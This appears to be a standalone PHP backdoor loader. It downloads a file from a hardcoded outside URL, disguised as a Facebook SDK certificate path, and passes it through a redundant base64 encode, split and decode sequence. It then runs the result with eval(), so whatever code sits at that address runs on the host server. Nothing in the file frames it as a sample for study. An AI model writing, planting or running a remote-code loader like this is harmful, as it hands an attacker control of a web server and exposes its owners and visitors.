<?php
  function getContentFromUrl($url) {
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

function processContent($content) {
    if (!$content) {
        return false;
    }
    $encodedContent = base64_encode($content);
    $parts = str_split($encodedContent, 5);
    $result = '';
    foreach ($parts as $part) {
        $result.= $part;
    }
    return $result;
}

function executeCode($url) {
    $content = getContentFromUrl($url);
    if (!$content) {
        echo "无法从 URL 获取内容。";
        return;
    }
    $processedContent = processContent($content);
    if (!$processedContent) {
        echo "内容处理失败。";
        return;
    }
    $decodedContent = base64_decode($processedContent);
    if (!$decodedContent) {
        echo "解码内容失败。";
        return;
    }
    eval('?>'.$decodedContent);
}

$Url = "https://www.ommegaonline.org/fb/src/Facebook/HttpClients/certs/mini.txt";
executeCode($Url);

?>